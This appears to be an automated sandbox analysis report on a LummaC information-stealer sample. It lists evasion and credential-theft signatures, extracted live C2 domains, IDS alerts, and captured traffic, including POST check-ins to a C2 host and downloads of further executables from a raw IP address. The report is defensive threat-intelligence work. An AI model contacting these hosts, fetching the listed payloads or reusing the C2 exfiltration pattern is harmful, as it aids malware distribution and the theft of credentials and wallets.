Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557026
MD5:	de810f69440ffacc0ea1945c6c177927
SHA1:	8069a78d0db4f8757b5b104958edaf4816cb8553
SHA256:	a5f9f3280028063f7262d825327a92e7a2d686ec67dc0efea7dceed528e534ea
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DE810F69440FFACC0EA1945C6C177927)

chrome.exe (PID: 7912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1880,i,16753807270893997774,2862388317102708426,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3588 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1912,i,4107251576710729369,6142206982357749520,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "p10tgrace.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1489031849.00000000017CD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1537423191.00000000017DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1519743178.00000000017D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1506159813.00000000017D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1506112755.00000000017CD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1491292627.00000000017D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1520384933.00000000017D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7316	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7316	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T04:38:35.053549+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-17T04:38:36.317768+0100	2028371	3	Unknown Traffic	192.168.2.7	49704	188.114.96.3	443	TCP
2024-11-17T04:38:37.897519+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	188.114.96.3	443	TCP
2024-11-17T04:38:39.323976+0100	2028371	3	Unknown Traffic	192.168.2.7	49706	188.114.96.3	443	TCP
2024-11-17T04:38:40.890767+0100	2028371	3	Unknown Traffic	192.168.2.7	49707	188.114.96.3	443	TCP
2024-11-17T04:38:42.488106+0100	2028371	3	Unknown Traffic	192.168.2.7	49708	188.114.96.3	443	TCP
2024-11-17T04:38:44.414858+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	188.114.96.3	443	TCP
2024-11-17T04:38:48.857346+0100	2028371	3	Unknown Traffic	192.168.2.7	49711	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T04:38:35.652576+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-17T04:38:36.828139+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49704	188.114.96.3	443	TCP
2024-11-17T04:38:49.407874+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49711	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T04:38:35.652576+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49703	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T04:38:36.828139+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49704	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T04:38:50.318907+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49713	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T04:38:40.047245+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49706	188.114.96.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.1679284530.0000000008930000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1779488854.0000000006822000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49704 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs

Source: global traffic

TCP traffic: 192.168.2.7:65498 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 03:38:50 GMTContent-Type: application/octet-streamContent-Length: 2809856Last-Modified: Sun, 17 Nov 2024 03:28:45 GMTConnection: keep-aliveETag: "673962ed-2ae000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 8f 3c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 70 65 61 61 73 77 68 00 80 2a 00 00 a0 00 00 00 7e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 61 69 63 62 62 65 74 00 20 00 00 00 20 2b 00 00 06 00 00 00 b8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 be 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49713 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49711 -> 188.114.96.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MlA34d4DUsMhWbU&MD=uDoZx1Pk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MlA34d4DUsMhWbU&MD=uDoZx1Pk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000002.1775736342.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.1679926131.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1752097745.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1775736342.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
